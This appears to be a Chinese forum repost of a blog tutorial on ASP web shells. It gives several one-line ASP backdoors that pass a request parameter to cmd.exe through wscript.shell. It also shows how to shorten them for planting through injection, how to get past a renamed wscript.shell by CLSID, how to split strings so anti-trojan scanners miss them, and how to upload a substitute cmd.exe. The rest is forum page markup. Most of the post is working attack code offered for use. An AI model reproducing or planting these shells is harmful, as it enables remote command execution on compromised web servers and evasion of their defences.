asp执行cmd实例

上善若水 · 发表于 2024-2-29 08:22:57

第一个，来看zzzeva免fso的cmd.asp
代码如下：

 
<br /> <%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request.form("cmd")).stdout.readall%> 
<br />

是不是觉得有点长了？在注入时写有点不好写。那来改一下。
第二个，更改zzzeva免fso的cmd.asp
代码如下：

 
<br /> <%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd")).stdout.readall%> 
<br /> 
<br /> 用法是xx.asp?cmd=net user 
<br /> 这样是为了得到结果排得方便，其实如果不为美观，还可以更短，那来第三个 
<br /> 第三个，缩短的cmd.asp 
<br /> 
<br /> <%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd")).stdout.readall%> 
<br /> 
<br /> 这里用了response.write，变量用了cmd。为什么不更短呢？ 
<br /> 第四个，更短的cmd.asp 
<br /> 
<br /> <%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%> 
<br /> 
<br /> 好像这就是最短的了。除了短，我们还要在别的地方下功夫。 
<br /> 第五个，wscript.shell被改名怎么办？ 
<br /> 代码： 
<br /> 
<br /> <ObjEct runat=sErvEr iD=kk scOpE=pagE classiD="clsiD:72C24DD5-D70A-438B-8A42-98424B88AFB8"></ObjEct> 
<br /> <%=kk.exec("cmd /c "+request("cmd")).stdout.readall%> 
<br /> 
<br /> 当然，classid值在不同系统下有所不同。这个要自行更改 
<br /> 
<br /> 第六个，被一些杀asp木马的软件检测出来怎么办？ 
<br /> 把变量拆开呀。代码： 
<br /> 
<br /> <%=server.createobject("ws"+"cript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%> 
<br /> 
<br /> 或 
<br /> 
<br /> <%=server.createobject("ws"&"cript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%> 
<br /> 
<br /> 这里代码引号里的东东都可以随便拆的，像还可以拆成 
<br /> 
<br /> <%=server.createobject("ws"&"cript.shell").exec("c"&"md.exe /c "&request("c")).stdout.readall%> 
<br /> 
<br /> 第7个,cmd.exe不让调用怎么办？ 
<br /> 这个你自己上传一个cmd.exe，放在一个可以调用的目录下，代码更改如下： 
<br /> 
<br /> <%=server.createobject("wscript.shell").exec("e:\aspx\cmD.EXE /c "&request("c")).stdout.readall%> 
<br /> 第8个,asp代码可以加密吗？ 
<br /> 当然可以了<br>来源：<a href="https://blog.csdn.net/woswod/article/details/63253494" target="_blank">https://blog.csdn.net/woswod/article/details/63253494</a><br>免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！</td></tr></table>

</div>
<div id="comment_3411" class="cm">
</div>

<div id="post_rate_div_3411"></div>
</div>
</div>

</td></tr>
<tr><td class="plc plm">
</td>
</tr>
<tr id="_postposition3411"></tr>
<tr>
<td class="pls"></td>
<td class="plc" style="overflow:visible;">
<div class="po hin">
<div class="pob cl">
<em>
<a class="fastre" href="forum.php?mod=post&action=reply&fid=60&tid=2252&reppost=3411&extra=&page=1" onclick="showWindow('reply', this.href)">回复</a>
</em>

<p>
<a href="javascript:;" id="mgc_post_3411" onmouseover="showMenu(this.id)" class="showmenu">使用道具</a>
<a href="javascript:;" onclick="showWindow('miscreport3411', 'misc.php?mod=report&rtype=post&rid=3411&tid=2252&fid=60', 'get', -1);return false;">举报</a>
</p>

<ul id="mgc_post_3411_menu" class="p_pop mgcmn" style="display: none;">
</ul>
<script type="text/javascript" reload="1">checkmgcmn('post_3411')</script>
</div>
</div>
</td>
</tr>
<tr class="ad">
<td class="pls">
</td>
<td class="plc">
</td>
</tr>
</table>
</div><div id="postlistreply" class="pl"><div id="post_new" class="viewthread_table" style="display: none"></div></div>
</div>


<form method="post" autocomplete="off" name="modactions" id="modactions">
<input type="hidden" name="formhash" value="e260fb79" />
<input type="hidden" name="optgroup" />
<input type="hidden" name="operation" />
<input type="hidden" name="listextra" value="" />
<input type="hidden" name="page" value="1" />
</form>



<div class="pgs mtm mbm cl">
<span class="pgb y"><a href="forum-60-1.html">返回列表</a></span>
<a id="newspecialtmp" onmouseover="$('newspecial').id = 'newspecialtmp';this.id = 'newspecial';showMenu({'ctrlid':this.id})" onclick="showWindow('newthread', 'forum.php?mod=post&action=newthread&fid=60')" href="javascript:;" title="发新帖" class="pgsbtn showmenu">发新帖</a>
</div>

<!--[diy=diyfastposttop]--><div id="diyfastposttop" class="area"></div><!--[/diy]-->
<script type="text/javascript">
var postminchars = parseInt('30');
var postmaxchars = parseInt('10000');
var postminsubjectchars = parseInt('1');
var postmaxsubjectchars = parseInt('80');
var disablepostctrl = parseInt('0');
</script>

<div id="f_pst" class="pl bm bmw">
<form method="post" autocomplete="off" id="fastpostform" action="forum.php?mod=post&action=reply&fid=60&tid=2252&extra=&replysubmit=yes&infloat=yes&handlekey=fastpost" onSubmit="return fastpostvalidate(this)">
<table cellspacing="0" cellpadding="0">
<tr>
<td class="pls">
</td>
<td class="plc">

<span id="fastpostreturn"></span>


<div class="cl">
<div id="fastsmiliesdiv" class="y"><div id="fastsmiliesdiv_data"><div id="fastsmilies"></div></div></div><div class="hasfsl" id="fastposteditor">
<div class="tedt mtn">
<div class="bar">
<span class="y">
<a href="forum.php?mod=post&action=reply&fid=60&tid=2252" onclick="return switchAdvanceMode(this.href)">高级模式</a>
</span><script src="static/js/seditor.js?I08" type="text/javascript"></script>
<div class="fpd">
<a href="javascript:;" title="文字加粗" class="fbld">B</a>
<a href="javascript:;" title="设置文字颜色" class="fclr" id="fastpostforecolor">Color</a>
<a id="fastpostimg" href="javascript:;" title="图片" class="fmg">Image</a>
<a id="fastposturl" href="javascript:;" title="添加链接" class="flnk">Link</a>
<a id="fastpostquote" href="javascript:;" title="引用" class="fqt">Quote</a>
<a id="fastpostcode" href="javascript:;" title="代码" class="fcd">Code</a>
<a href="javascript:;" class="fsml" id="fastpostsml">Smilies</a>
</div></div>
<div class="area">
<div class="pt hm">
您需要登录后才可以回帖 <a href="member.php?mod=logging&action=login" onclick="showWindow('login', this.href)" class="xi2">登录</a> | <a href="member.php?mod=registercorfly" class="xi2">会员注册</a>
</div>
</div>
</div>
</div>
</div>
<div id="seccheck_fastpost">
</div>


<input type="hidden" name="formhash" value="e260fb79" />
<input type="hidden" name="usesig" value="" />
<input type="hidden" name="subject" value="  " />
<p class="ptm pnpost">
<a href="home.php?mod=spacecp&ac=credit&op=rule&fid=60" class="y" target="_blank">本版积分规则</a>
<button type="button" onclick="showWindow('login', 'member.php?mod=logging&action=login&guestmessage=yes')"  onmouseover="checkpostrule('seccheck_fastpost', 'ac=reply');this.onmouseover=null" name="replysubmit" id="fastpostsubmit" class="pn pnc vm" value="replysubmit"><strong>发表回复</strong></button>
<label class="lb"><input type="checkbox" name="adddynamic" class="pc" value="1" />回帖并转播</label>
<label for="fastpostrefresh"><input id="fastpostrefresh" type="checkbox" class="pc" />回帖后跳转到最后一页</label>
<script type="text/javascript">if(getcookie('fastpostrefresh') == 1) {$('fastpostrefresh').checked=true;}</script>
</p>
</td>
</tr>
</table>
</form>
</div>

</div>

<div class="wp mtn">
<!--[diy=diy3]--><div id="diy3" class="area"></div><!--[/diy]-->
</div>

<script type="text/javascript">
function succeedhandle_followmod(url, msg, values) {
var fObj = $('followmod_'+values['fuid']);
if(values['type'] == 'add') {
fObj.innerHTML = '不收听';
fObj.href = 'home.php?mod=spacecp&ac=follow&op=del&fuid='+values['fuid'];
} else if(values['type'] == 'del') {
fObj.innerHTML = '收听TA';
fObj.href = 'home.php?mod=spacecp&ac=follow&op=add&hash=e260fb79&fuid='+values['fuid'];
}
}
fixed_avatar([3411], 1);
</script>	</div>
<div id="ft" class="wp cl">
<div id="flk" class="y">
<p>
<a href="//wpa.qq.com/msgrd?v=3&uin=516734115&site=心飞设计-网站,自媒体设计软件技术分享。新手站长乐园&menu=yes&from=discuz" target="_blank" title="QQ"><img src="static/image/common/site_qq.jpg" alt="QQ" /></a><span class="pipe">|</span><a href="forum.php?showmobile=yes" >手机版</a><span class="pipe">|</span><strong><a href="http://www.corfly.com" target="_blank">心飞设计-版权所有：微度网络信息技术服务中心</a></strong>
( <a href="https://beian.miit.gov.cn/" target="_blank">鲁ICP备17032091号-12</a> )<span class="pipe">|</span><a href="data/sitemap.xml" target="_blank" title="网站地图">网站地图</a><script type="text/javascript" src="//api.tongjiniao.com/c?_=631452074556137472" async></script></p>
<p class="xs0">
GMT+8, 2024-12-27 02:04<span id="debuginfo">
, Processed in 0.687647 second(s), 26 queries
.
</span>
</p>
</div>
<div id="frt">
<p>Powered by <strong><a href="https://www.discuz.vip/" target="_blank">Discuz!</a></strong> <em>X3.5</em></p>
<p class="xs0">© 2001-2024 <a href="https://code.dismall.com/" target="_blank">Discuz! Team</a>.</p>
</div></div>
<script src="home.php?mod=misc&ac=sendmail&rand=1735236299" type="text/javascript"></script>

<div id="scrolltop">
<span><a href="forum.php?mod=post&action=reply&fid=60&tid=2252&extra=&page=1" onclick="showWindow('reply', this.href)" class="replyfast" title="快速回复"><b>快速回复</b></a></span>
<span hidefocus="true"><a title="返回顶部" onclick="window.scrollTo('0','0')" class="scrolltopa" ><b>返回顶部</b></a></span>
<span>
<a href="forum-60-1.html" hidefocus="true" class="returnlist" title="返回列表"><b>返回列表</b></a>
</span>
</div>
<script type="text/javascript">_attachEvent(window, 'scroll', function () { showTopLink(); });checkBlind();</script>
</body>
</html>

		自动登录	找回密码
密码			会员注册